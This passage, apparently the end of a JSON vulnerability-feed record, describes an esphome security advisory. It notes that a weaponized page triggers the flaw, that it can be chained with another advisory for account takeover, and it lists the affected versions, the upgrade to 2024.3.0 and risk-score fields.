In order to trigger the vulnerability, the victim must visit a weaponized page.\n\nIn addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.\n\n\n\n## Affected packages\n\n- `esphome >= 2023.12.9, < 2024.3.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `esphome 2024.3.0`","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":44.6,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}
